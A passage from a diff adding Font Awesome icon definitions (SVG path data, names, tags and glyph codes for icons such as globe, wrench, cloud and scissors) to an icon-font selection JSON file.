548.571c0-113.714-73.143-210.857-73.143-310.857v-18.286h-365.714v18.286c0 60.571-51.429 101.143-93.143 137.714-26.286 23.429-52.571 45.143-82.857 64-12.571 8-25.714 14.857-38.857 21.714s-77.714 35.429-77.714 50.857c0 48.571 18.286 91.429 73.143 91.429 73.143 0 110.286-54.857 146.286-54.857v329.143c0 38.286 34.286 73.143 73.143 73.143 39.429 0 73.143-33.714 73.143-73.143v-189.143c14.857 11.429 40 20 58.857 20 26.857 0 49.714-10.857 68-30.286 12 6.857 25.714 10.286 39.429 10.286 26.286 0 58.857-13.143 72-37.143 10.286 1.714 21.143 2.286 32 2.286 67.429 0 95.429-41.714 95.429-105.143zM731.429 109.714c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM877.714 546.286c0 105.143-59.429 181.714-168.571 181.143l-2.857-0.571c-28.571 22.857-65.143 34.857-101.714 34.857-8 0-16.571-0.571-24.571-1.714-19.429 10.857-45.714 18.857-68 21.143v96.571c0 80-66.857 146.286-146.857 146.286-78.857 0-145.714-67.429-145.714-146.286v-213.714c-22.286 9.143-49.143 12.571-73.143 12.571-96 0-146.286-73.714-146.286-164.571 0-76.571 97.714-101.143 150.857-134.286 26.857-17.143 50.286-36.571 73.714-57.143 18.857-16.571 68-55.429 68-82.857v-164.571c0-40.571 32.571-73.143 73.143-73.143h365.714c40.571 0 73.143 32.571 73.143 73.143v164.571c0 36 21.143 92.571 33.714 127.429 21.143 58.286 39.429 118.286 39.429 181.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-o-down" + ], + "defaultCode": 61607, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-o-down", + "id": 158, + "order": 1014, + "prevSize": 28, + "code": 61607 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 158 + }, + { + "icon": { + "paths": [ + "M731.429 548.571v-73.143c0-20-16.571-36.571-36.571-36.571h-286.857l108-108c6.857-6.857 10.857-16 10.857-25.714s-4-18.857-10.857-25.714l-52-52c-6.857-6.857-16-10.286-25.714-10.286s-18.857 3.429-25.714 10.286l-258.857 258.857c-6.857 6.857-10.286 16-10.286 25.714s3.429 18.857 10.286 25.714l258.857 258.857c6.857 6.857 16 10.286 25.714 10.286s18.857-3.429 25.714-10.286l52-52c6.857-6.857 10.286-16 10.286-25.714s-3.429-18.857-10.286-25.714l-108-108h286.857c20 0 36.571-16.571 36.571-36.571zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-left" + ], + "defaultCode": 61608, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-left", + "id": 159, + "order": 1015, + "prevSize": 28, + "code": 61608 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 159 + }, + { + "icon": { + "paths": [ + "M734.286 512c0-9.714-3.429-18.857-10.286-25.714l-258.857-258.857c-6.857-6.857-16-10.286-25.714-10.286s-18.857 3.429-25.714 10.286l-52 52c-6.857 6.857-10.286 16-10.286 25.714s3.429 18.857 10.286 25.714l108 108h-286.857c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h286.857l-108 108c-6.857 6.857-10.857 16-10.857 25.714s4 18.857 10.857 25.714l52 52c6.857 6.857 16 10.286 25.714 10.286s18.857-3.429 25.714-10.286l258.857-258.857c6.857-6.857 10.286-16 10.286-25.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-right" + ], + "defaultCode": 61609, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-right", + "id": 160, + "order": 1016, + "prevSize": 28, + "code": 61609 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 160 + }, + { + "icon": { + "paths": [ + "M733.714 511.429c0-9.714-3.429-18.857-10.286-25.714l-258.857-258.857c-6.857-6.857-16-10.286-25.714-10.286s-18.857 3.429-25.714 10.286l-258.857 258.857c-6.857 6.857-10.286 16-10.286 25.714s3.429 18.857 10.286 25.714l52 52c6.857 6.857 16 10.286 25.714 10.286s18.857-3.429 25.714-10.286l108-108v286.857c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571v-286.857l108 108c6.857 6.857 16 10.857 25.714 10.857s18.857-4 25.714-10.857l52-52c6.857-6.857 10.286-16 10.286-25.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-up" + ], + "defaultCode": 61610, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-up", + "id": 161, + "order": 1017, + "prevSize": 28, + "code": 61610 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 161 + }, + { + "icon": { + "paths": [ + "M733.714 512.571c0-9.714-3.429-18.857-10.286-25.714l-52-52c-6.857-6.857-16-10.286-25.714-10.286s-18.857 3.429-25.714 10.286l-108 108v-286.857c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v286.857l-108-108c-6.857-6.857-16-10.857-25.714-10.857s-18.857 4-25.714 10.857l-52 52c-6.857 6.857-10.286 16-10.286 25.714s3.429 18.857 10.286 25.714l258.857 258.857c6.857 6.857 16 10.286 25.714 10.286s18.857-3.429 25.714-10.286l258.857-258.857c6.857-6.857 10.286-16 10.286-25.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-circle-down" + ], + "defaultCode": 61611, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-circle-down", + "id": 162, + "order": 1018, + "prevSize": 28, + "code": 61611 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 162 + }, + { + "icon": { + "paths": [ + "M438.857 73.143c242.286 0 438.857 196.571 438.857 438.857s-196.571 438.857-438.857 438.857-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857zM595.429 370.857c-4.571 3.429-7.429 9.714-13.143 10.857 2.857-0.571 5.714-10.857 7.429-13.143 3.429-4 8-6.286 12.571-8.571 9.714-4 19.429-5.143 29.714-6.857 9.714-2.286 21.714-2.286 29.143 6.286-1.714-1.714 12-13.714 13.714-14.286 5.143-2.857 13.714-1.714 17.143-6.857 1.143-1.714 1.143-12.571 1.143-12.571-9.714 1.143-13.143-8-13.714-16 0 0.571-1.143 2.286-3.429 4.571 0.571-8.571-10.286-2.286-14.286-3.429-13.143-3.429-11.429-12.571-15.429-22.286-2.286-5.143-8.571-6.857-10.857-12-2.286-3.429-3.429-10.857-8.571-11.429-3.429-0.571-9.714 12-10.857 11.429-5.143-2.857-7.429 1.143-11.429 3.429-3.429 2.286-6.286 1.143-9.714 2.857 10.286-3.429-4.571-9.143-9.714-8 8-2.286 4-10.857-0.571-14.857h2.857c-1.143-5.143-17.143-9.714-22.286-13.143s-32.571-9.143-38.286-5.714c-6.857 4 1.714 15.429 1.714 21.143 0.571 6.857-6.857 8.571-6.857 14.286 0 9.714 18.286 8 13.714 21.143-2.857 8-13.714 9.714-18.286 16-4.571 5.714 0.571 16 5.143 20 4.571 3.429-8 9.143-9.714 10.286-9.714 4.571-17.143-9.714-19.429-18.286-1.714-6.286-2.286-13.714-9.143-17.143-3.429-1.143-14.286-2.857-16.571 0.571-3.429-8.571-15.429-12-23.429-14.857-11.429-4-21.143-4-33.143-2.286 4-0.571-1.143-18.286-10.857-15.429 2.857-5.714 1.714-12 2.857-17.714 1.143-4.571 3.429-9.143 6.857-13.143 1.143-2.286 13.714-15.429 9.714-16 9.714 1.143 20.571 1.714 28.571-6.286 5.143-5.143 7.429-13.714 12.571-19.429 7.429-8.571 16.571 2.286 24.571 2.857 11.429 0.571 10.857-12 4.571-17.714 7.429 0.571 1.143-13.143-2.857-14.857-5.143-1.714-24.571 3.429-14.286 7.429-2.286-1.143-16 27.429-24 13.143-2.286-2.857-3.429-14.857-8.571-15.429-4.571 0-7.429 5.143-9.143 8.571 2.857-7.429-16-12.571-20-13.143 8.571-5.714 1.714-12-4.571-15.429-4.571-2.857-18.857-5.143-22.857-0.571-10.857 13.143 11.429 14.857 17.143 18.286 1.714 1.143 8.571 5.143 4.571 8-3.429 1.714-13.714 4.571-14.857 6.857-3.429 5.143 4 10.857-1.143 16-5.143-5.143-5.143-13.714-9.143-19.429 5.143 6.286-20.571 2.857-20 2.857-8.571 0-22.286 5.714-28.571-2.857-1.143-2.286-1.143-15.429 2.286-12.571-5.143-4-8.571-8-12-10.286-18.857 6.286-36.571 14.286-53.714 23.429 2.286 0.571 4 0.571 6.857-0.571 4.571-1.714 8.571-4.571 13.143-6.857 5.714-2.286 17.714-9.143 24-4 0.571-1.143 2.286-2.286 2.857-2.857 4 4.571 8 9.143 11.429 14.286-4.571-2.286-12-1.143-17.143-0.571-4 1.143-10.857 2.286-12.571 6.857 1.714 2.857 4 7.429 2.857 10.286-7.429-5.143-13.143-13.714-23.429-14.857-4.571 0-9.143 0-12.571 0.571-54.857 30.286-101.143 74.286-134.286 126.857 2.286 2.286 4.571 4 6.857 4.571 5.714 1.714 0 18.286 10.857 9.714 3.429 2.857 4 6.857 1.714 10.857 0.571-0.571 23.429 14.286 25.143 15.429 4 3.429 10.286 7.429 12 12 1.143 4-2.286 8.571-5.714 10.286-0.571-1.143-9.143-9.714-10.286-7.429-1.714 2.857 0 18.286 6.286 17.714-9.143 0.571-5.143 36-7.429 42.857 0 0.571 1.143 0.571 1.143 0.571-1.714 6.857 4 33.714 15.429 30.857-7.429 1.714 13.143 28 16 29.714 7.429 5.143 16 8.571 21.143 16 5.714 8 5.714 20 13.714 26.286-2.286 6.857 12 14.857 11.429 24.571-1.143 0.571-1.714 0.571-2.857 1.143 2.857 8 13.714 8 17.714 15.429 2.286 4.571 0 15.429 7.429 13.143 1.143-12.571-7.429-25.143-13.714-35.429-3.429-5.714-6.857-10.857-9.714-16.571-2.857-5.143-3.429-11.429-5.714-17.143 2.286 0.571 14.857 5.143 13.714 6.857-4.571 11.429 18.286 31.429 24.571 38.857 1.714 1.714 14.857 18.857 8 18.857 7.429 0 17.714 11.429 21.143 17.143 5.143 8.571 4 19.429 7.429 28.571 3.429 11.429 19.429 16.571 28.571 21.714 8 4 14.857 9.714 22.857 12.571 12 4.571 14.857 0.571 25.143-1.143 14.857-2.286 16.571 14.286 28.571 20.571 7.429 4 23.429 9.714 31.429 6.286-3.429 1.143 12 24.571 13.143 26.286 5.143 6.857 14.857 10.286 20.571 17.143 1.714-1.143 3.429-2.857 4-5.143-2.286 6.286 8.571 18.286 14.286 17.143 6.286-1.143 8-13.714 8-18.286-11.429 5.714-21.714 1.143-28-10.286-1.143-2.857-10.286-18.857-2.286-18.857 10.857 0 3.429-8.571 2.286-16.571s-9.143-13.143-13.143-20c-3.429 6.857-14.857 5.143-18.286-0.571 0 1.714-1.714 4.571-1.714 6.857-2.857 0-5.714 0.571-8.571-0.571 1.143-6.857 1.714-15.429 3.429-22.857 2.857-10.286 21.714-30.286-2.857-29.143-8.571 0.571-12 4-14.857 11.429-2.857 6.857-1.714 13.143-9.714 16.571-5.143 2.286-22.286 1.143-27.429-1.714-10.857-6.286-18.286-26.286-18.286-37.714-0.571-15.429 7.429-29.143 0-43.429 3.429-2.857 6.857-8.571 10.857-11.429 3.429-2.286 7.429 1.714 9.143-5.143-1.714-1.143-4-3.429-4.571-3.429 8.571 4 24.571-5.714 32 0 4.571 3.429 9.714 4.571 12.571-1.143 0.571-1.714-4-8.571-1.714-13.143 1.714 9.714 8 11.429 16.571 5.143 3.429 3.429 12.571 2.286 18.857 5.714 6.286 4 7.429 10.286 14.857 1.714 4.571 6.857 5.143 6.857 6.857 13.714 1.714 6.286 5.143 22.286 10.857 25.143 12 7.429 9.143-12.571 8-19.429-0.571-0.571-0.571-19.429-1.143-19.429-18.286-4-11.429-18.286-1.143-28 1.714-1.143 14.857-5.714 20.571-10.286 5.143-4.571 11.429-12.571 8.571-20 2.857 0 5.143-2.286 6.286-5.143-1.714-0.571-8.571-6.286-9.714-5.714 4-2.286 3.429-5.714 1.143-9.143 5.714-3.429 2.857-9.714 8.571-12 6.286 8.571 18.857-1.143 12.571-8 5.714-8 18.857-4 22.286-11.429 8.571 2.286 2.286-8.571 6.857-14.857 4-5.143 10.857-5.143 16-8 0 0.571 14.286-8 9.714-8.571 9.714 1.143 29.143-9.143 14.286-17.714 2.286-5.143-5.143-7.429-10.286-8.571 4-1.143 9.143 1.143 12.571-1.143 7.429-5.143 2.286-7.429-4-9.143-8-2.286-18.286 2.857-24.571 6.857zM502.286 872c78.286-13.714 148-52.571 200.571-108-3.429-3.429-9.714-2.286-14.286-4.571-4.571-1.714-8-3.429-13.714-4.571 1.143-11.429-11.429-15.429-19.429-21.143-7.429-5.714-12-12-22.857-9.714-1.143 0.571-12.571 4.571-10.286 6.857-7.429-6.286-10.857-9.714-20.571-12.571-9.143-2.857-15.429-14.286-24.571-4-4.571 4.571-2.286 11.429-4.571 16-7.429-6.286 6.857-13.714 1.143-20.571-6.857-8-18.857 5.143-24.571 8.571-3.429 2.857-7.429 4-9.714 7.429-2.857 4-4 9.143-6.286 13.143-1.714-4.571-11.429-3.429-12-6.857 2.286 13.714 2.286 28 5.143 41.714 1.714 8 0 21.143-6.857 27.429s-15.429 13.143-16.571 22.857c-1.143 6.857 0.571 13.143 6.857 14.857 0.571 8.571-9.143 14.857-8.571 24 0 0.571 0.571 6.286 1.143 9.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "globe" + ], + "defaultCode": 61612, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "globe", + "id": 163, + "order": 1019, + "prevSize": 28, + "code": 61612 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 163 + }, + { + "icon": { + "paths": [ + "M219.429 841.143c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM587.429 601.143l-389.714 389.714c-13.143 13.143-32 21.143-51.429 21.143s-38.286-8-52-21.143l-60.571-61.714c-13.714-13.143-21.714-32-21.714-51.429s8-38.286 21.714-52l389.143-389.143c29.714 74.857 89.714 134.857 164.571 164.571zM949.714 352.571c0 18.857-6.857 42.286-13.143 60.571-36 101.714-133.714 172-241.714 172-141.143 0-256-114.857-256-256s114.857-256 256-256c41.714 0 96 12.571 130.857 36 5.714 4 9.143 9.143 9.143 16 0 6.286-4 12.571-9.143 16l-167.429 96.571v128l110.286 61.143c18.857-10.857 151.429-94.286 162.857-94.286s18.286 8.571 18.286 20z" + ], + "width": 961.6822857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wrench" + ], + "defaultCode": 61613, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "wrench", + "id": 164, + "order": 1020, + "prevSize": 28, + "code": 61613 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 164 + }, + { + "icon": { + "paths": [ + "M585.143 804.571h365.714v-73.143h-365.714v73.143zM365.714 512h585.143v-73.143h-585.143v73.143zM731.429 219.429h219.429v-73.143h-219.429v73.143zM1024 694.857v146.286c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM1024 402.286v146.286c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571zM1024 109.714v146.286c0 20-16.571 36.571-36.571 36.571h-950.857c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h950.857c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tasks" + ], + "defaultCode": 61614, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tasks", + "id": 165, + "order": 1021, + "prevSize": 28, + "code": 61614 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 165 + }, + { + "icon": { + "paths": [ + "M801.714 168.571c5.714 13.714 2.857 29.714-8 40l-281.714 281.714v424c0 14.857-9.143 28-22.286 33.714-4.571 1.714-9.714 2.857-14.286 2.857-9.714 0-18.857-3.429-25.714-10.857l-146.286-146.286c-6.857-6.857-10.857-16-10.857-25.714v-277.714l-281.714-281.714c-10.857-10.286-13.714-26.286-8-40 5.714-13.143 18.857-22.286 33.714-22.286h731.429c14.857 0 28 9.143 33.714 22.286z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter" + ], + "defaultCode": 61616, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "filter", + "id": 166, + "order": 1022, + "prevSize": 28, + "code": 61616 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 166 + }, + { + "icon": { + "paths": [ + "M365.714 146.286h292.571v-73.143h-292.571v73.143zM1024 512v274.286c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-274.286h384v91.429c0 20 16.571 36.571 36.571 36.571h182.857c20 0 36.571-16.571 36.571-36.571v-91.429h384zM585.143 512v73.143h-146.286v-73.143h146.286zM1024 237.714v219.429h-1024v-219.429c0-50.286 41.143-91.429 91.429-91.429h201.143v-91.429c0-30.286 24.571-54.857 54.857-54.857h329.143c30.286 0 54.857 24.571 54.857 54.857v91.429h201.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "briefcase" + ], + "defaultCode": 61617, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "briefcase", + "id": 167, + "order": 1023, + "prevSize": 28, + "code": 61617 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 167 + }, + { + "icon": { + "paths": [ + "M733.143 309.143l-202.857 202.857 202.857 202.857 82.286-82.286c10.286-10.857 26.286-13.714 40-8 13.143 5.714 22.286 18.857 22.286 33.714v256c0 20-16.571 36.571-36.571 36.571h-256c-14.857 0-28-9.143-33.714-22.857-5.714-13.143-2.857-29.143 8-39.429l82.286-82.286-202.857-202.857-202.857 202.857 82.286 82.286c10.857 10.286 13.714 26.286 8 39.429-5.714 13.714-18.857 22.857-33.714 22.857h-256c-20 0-36.571-16.571-36.571-36.571v-256c0-14.857 9.143-28 22.857-33.714 13.143-5.714 29.143-2.857 39.429 8l82.286 82.286 202.857-202.857-202.857-202.857-82.286 82.286c-6.857 6.857-16 10.857-25.714 10.857-4.571 0-9.714-1.143-13.714-2.857-13.714-5.714-22.857-18.857-22.857-33.714v-256c0-20 16.571-36.571 36.571-36.571h256c14.857 0 28 9.143 33.714 22.857 5.714 13.143 2.857 29.143-8 39.429l-82.286 82.286 202.857 202.857 202.857-202.857-82.286-82.286c-10.857-10.286-13.714-26.286-8-39.429 5.714-13.714 18.857-22.857 33.714-22.857h256c20 0 36.571 16.571 36.571 36.571v256c0 14.857-9.143 28-22.286 33.714-4.571 1.714-9.714 2.857-14.286 2.857-9.714 0-18.857-4-25.714-10.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrows-alt" + ], + "defaultCode": 61618, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrows-alt", + "id": 168, + "order": 1024, + "prevSize": 28, + "code": 61618 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 168 + }, + { + "icon": { + "paths": [ + "M338.857 512c-59.429 1.714-113.143 27.429-151.429 73.143h-76.571c-57.143 0-110.857-27.429-110.857-90.857 0-46.286-1.714-201.714 70.857-201.714 12 0 71.429 48.571 148.571 48.571 26.286 0 51.429-4.571 76-13.143-1.714 12.571-2.857 25.143-2.857 37.714 0 52 16.571 103.429 46.286 146.286zM950.857 876c0 92.571-61.143 148-152.571 148h-499.429c-91.429 0-152.571-55.429-152.571-148 0-129.143 30.286-327.429 197.714-327.429 19.429 0 90.286 79.429 204.571 79.429s185.143-79.429 204.571-79.429c167.429 0 197.714 198.286 197.714 327.429zM365.714 146.286c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286 65.714-146.286 146.286-146.286 146.286 65.714 146.286 146.286zM768 365.714c0 121.143-98.286 219.429-219.429 219.429s-219.429-98.286-219.429-219.429 98.286-219.429 219.429-219.429 219.429 98.286 219.429 219.429zM1097.143 494.286c0 63.429-53.714 90.857-110.857 90.857h-76.571c-38.286-45.714-92-71.429-151.429-73.143 29.714-42.857 46.286-94.286 46.286-146.286 0-12.571-1.143-25.143-2.857-37.714 24.571 8.571 49.714 13.143 76 13.143 77.143 0 136.571-48.571 148.571-48.571 72.571 0 70.857 155.429 70.857 201.714zM1024 146.286c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286 65.714-146.286 146.286-146.286 146.286 65.714 146.286 146.286z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "group", + "users" + ], + "defaultCode": 61632, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "group, users", + "id": 169, + "order": 1025, + "prevSize": 28, + "code": 61632 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 169 + }, + { + "icon": { + "paths": [ + "M832 694.857c0-14.857-5.714-28.571-16-38.857l-118.857-118.857c-10.286-10.286-24.571-16-38.857-16-16.571 0-29.714 6.286-41.143 18.286 18.857 18.857 41.143 34.857 41.143 64 0 30.286-24.571 54.857-54.857 54.857-29.143 0-45.143-22.286-64-41.143-12 11.429-18.857 24.571-18.857 41.714 0 14.286 5.714 28.571 16 38.857l117.714 118.286c10.286 10.286 24.571 15.429 38.857 15.429s28.571-5.143 38.857-14.857l84-83.429c10.286-10.286 16-24 16-38.286zM430.286 292c0-14.286-5.714-28.571-16-38.857l-117.714-118.286c-10.286-10.286-24.571-16-38.857-16s-28.571 5.714-38.857 15.429l-84 83.429c-10.286 10.286-16 24-16 38.286 0 14.857 5.714 28.571 16 38.857l118.857 118.857c10.286 10.286 24.571 15.429 38.857 15.429 16.571 0 29.714-5.714 41.143-17.714-18.857-18.857-41.143-34.857-41.143-64 0-30.286 24.571-54.857 54.857-54.857 29.143 0 45.143 22.286 64 41.143 12-11.429 18.857-24.571 18.857-41.714zM941.714 694.857c0 43.429-17.714 85.714-48.571 116l-84 83.429c-30.857 30.857-72.571 47.429-116 47.429-44 0-85.714-17.143-116.571-48.571l-117.714-118.286c-30.857-30.857-47.429-72.571-47.429-116 0-45.143 18.286-88 50.286-119.429l-50.286-50.286c-31.429 32-73.714 50.286-118.857 50.286-43.429 0-85.714-17.143-116.571-48l-118.857-118.857c-31.429-31.429-48-72.571-48-116.571 0-43.429 17.714-85.714 48.571-116l84-83.429c30.857-30.857 72.571-47.429 116-47.429 44 0 85.714 17.143 116.571 48.571l117.714 118.286c30.857 30.857 47.429 72.571 47.429 116 0 45.143-18.286 88-50.286 119.429l50.286 50.286c31.429-32 73.714-50.286 118.857-50.286 43.429 0 85.714 17.143 116.571 48l118.857 118.857c31.429 31.429 48 72.571 48 116.571z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chain", + "link" + ], + "defaultCode": 61633, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chain, link", + "id": 170, + "order": 1026, + "prevSize": 28, + "code": 61633 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 170 + }, + { + "icon": { + "paths": [ + "M1097.143 658.286c0 121.143-98.286 219.429-219.429 219.429h-621.714c-141.143 0-256-114.857-256-256 0-102.286 60.571-190.857 147.429-231.429-0.571-8-1.143-16.571-1.143-24.571 0-161.714 130.857-292.571 292.571-292.571 122.286 0 226.857 74.857 270.857 181.714 25.143-22.286 58.286-35.429 94.857-35.429 80.571 0 146.286 65.714 146.286 146.286 0 29.143-8.571 56-23.429 78.857 97.143 22.857 169.714 109.714 169.714 213.714z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cloud" + ], + "defaultCode": 61634, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cloud", + "id": 171, + "order": 1027, + "prevSize": 28, + "code": 61634 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 171 + }, + { + "icon": { + "paths": [ + "M872.571 827.429c42.857 68 12.571 123.429-68 123.429h-658.286c-80.571 0-110.857-55.429-68-123.429l287.429-453.143v-228h-36.571c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h292.571c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571h-36.571v228zM427.429 413.143l-155.429 245.143h406.857l-155.429-245.143-11.429-17.714v-249.143h-73.143v249.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flask" + ], + "defaultCode": 61635, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "flask", + "id": 172, + "order": 1028, + "prevSize": 28, + "code": 61635 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 172 + }, + { + "icon": { + "paths": [ + "M548.571 512c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571-36.571-16.571-36.571-36.571 16.571-36.571 36.571-36.571zM720 548.571l289.714 227.429c10.286 7.429 15.429 20 14.286 32-1.714 12.571-9.143 23.429-20 29.143l-73.143 36.571c-5.143 2.857-10.857 4-16.571 4-6.286 0-12.571-1.714-17.714-4.571l-394.286-221.143-62.857 37.714c-2.286 1.143-4.571 2.286-6.857 2.857 5.143 17.714 7.429 36.571 5.714 55.429-5.143 58.857-44.571 114.857-107.429 154.857-48.571 30.857-104.571 48-158.286 48-51.429 0-94.857-15.429-126.857-44.571-32.571-30.286-49.143-73.714-45.143-118.286 5.143-58.286 44.571-114.857 106.857-154.857 48.571-30.857 105.143-48 158.857-48 32 0 61.143 6.286 86.286 17.714 3.429-5.143 7.429-9.143 12.571-12.571l69.714-41.714-69.714-41.714c-5.143-3.429-9.143-7.429-12.571-12.571-25.143 11.429-54.286 17.714-86.286 17.714-53.714 0-110.286-17.143-158.857-48-62.286-40-101.714-96.571-106.857-154.857-4-44.571 12.571-88 45.143-117.714 32-29.714 75.429-45.143 126.857-45.143 53.714 0 109.714 17.143 158.286 48 62.857 39.429 102.286 96 107.429 154.857 1.714 18.857-0.571 37.714-5.714 55.429 2.286 0.571 4.571 1.714 6.857 2.857l62.857 37.714 394.286-221.143c5.143-2.857 11.429-4.571 17.714-4.571 5.714 0 11.429 1.143 16.571 4l73.143 36.571c10.857 5.714 18.286 16.571 20 29.143 1.143 12-4 24.571-14.286 32zM330.857 400c34.857-32 13.143-89.714-48.571-128.571-34.857-22.286-75.429-33.714-109.714-33.714-26.286 0-49.714 6.857-64.571 20.571-34.857 32-13.143 89.714 48.571 128.571 34.857 22.286 74.857 33.714 109.714 33.714 26.286 0 49.714-6.857 64.571-20.571zM282.286 825.714c61.714-38.857 83.429-96.571 48.571-128.571-14.857-13.714-38.286-20.571-64.571-20.571-34.857 0-74.857 11.429-109.714 33.714-61.714 38.857-83.429 96.571-48.571 128.571 14.857 13.714 38.286 20.571 64.571 20.571 34.286 0 74.857-11.429 109.714-33.714zM384 475.429l54.857 33.143v-6.286c0-13.143 7.429-25.143 18.857-32l8-4.571-45.143-26.857-14.857 14.857c-4.571 4.571-8 9.143-12.571 13.143-1.714 1.714-2.857 2.286-4 3.429zM512 603.429l54.857 18.286 420.571-329.143-73.143-36.571-438.857 246.286v64.571l-91.429 54.857 5.143 4.571c1.143 1.714 2.286 2.286 4 3.429 4.571 4.571 8 9.143 12.571 13.714l14.857 14.857zM914.286 841.143l73.143-36.571-297.143-233.143-101.143 78.857c-1.714 2.286-4.571 2.857-7.429 4z" + ], + "width": 1021.7325714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cut", + "scissors" + ], + "defaultCode": 61636, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cut, scissors", + "id": 173, + "order": 1029, + "prevSize": 28, + "code": 61636 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 173 + }, + { + "icon": { + "paths": [ + "M969.143 219.429c30.286 0 54.857 24.571 54.857 54.857v694.857c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-164.571h-310.857c-30.286 0-54.857-24.571-54.857-54.857v-384c0-30.286 17.714-72.571 38.857-93.714l233.143-233.143c21.143-21.143 63.429-38.857 93.714-38.857h237.714c30.286 0 54.857 24.571 54.857 54.857v187.429c22.286-13.143 50.857-22.857 73.143-22.857h237.714zM658.286 341.143l-170.857 170.857h170.857v-170.857zM292.571 121.714l-170.857 170.857h170.857v-170.857zM404.571 